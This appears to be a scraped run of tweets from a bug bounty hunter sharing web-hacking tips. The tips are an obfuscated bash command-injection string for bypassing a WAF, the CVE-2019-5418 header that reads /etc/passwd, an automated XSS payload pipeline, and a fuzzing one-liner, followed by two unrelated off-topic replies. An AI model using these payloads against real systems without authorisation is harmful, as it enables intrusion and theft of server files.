After a fascinating Command Injection publication from @sirifu4k1 few weeks ago, I decided to do a little "video demonstration & explanation" on how to bypass WAF using bash witch craft.
https://t.co/OvdQebN3rv
If there's anything I'm doing wrong or missing, please let me know!
@sirifu4k1 by wrapping it with brace expansion you can use a "," as "spaces" to the command
${!##\-}<<<{\$\'\\$(($((1<<1))#10100101))\\$(($((1<<1))#10011100))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10011011))\\$(($((1<<1))#10010001))\',\$\'\\$(($((1<<1))#110111))\\$(($((1<<1))#10001101))\'}
My 2nd RoR 'CVE-2019-5418' LFI in last 15 days. This is 3 years old bug and still exists... The page gives 404, but the buggy app is still in the server running.
Add "Accept: ../../../../../../../../etc/passwd{{" to GET Request and read /etc/passwd #bugbountytips#BugBounty
I've recently made my first write-up on Medium, telling the story of how I managed to manually find an Open Redirect and then escalating it to a XSS. If you're interested in reading it, check out the link below:
.
https://t.co/0wJuVuvFdr
.
.
.
.
#bugbountytips#BugBounty#medium
Testing XSS using 'CSRF PoC Generator' on Burp Professional
Also useful to create a video explaining a XSS vulnerability you've found
.
.
.
.
#burptips#bugbountytips#burpsuite
@Kashhad10 Sorry for the late answer, but here it is:
cat alive-subdomains.txt | waybackurls | nilo | uro | qsreplace '"><svg onload=confirm(1)>' | airixss -payload 'confirm(1)'
Or you could use it with gau or gauplus, instead of waybackurls.
Usefull tip to fuzzers:
- Adding a "/FUZZ" at the end of the line of a given file
$ cat subdomains.txt | sed 's/.*/&\/FUZZ/'
- Note: It's going to also add a "/", if you don't want to, just use the following instead: sed 's/.*/&FUZZ/'
#bugbountytips#BugBounty#hackerone
@RenegadeRanting@PPathole@elonmusk Sure, being watched and monitorized by your own country, and every action that they deny fks you up, sounds good to me :)
@AgendaFreeTV You can barely see but, there's like little white dots at the edges of the pillar, seems that it was jointed together using 'nails', i would say that it is hollow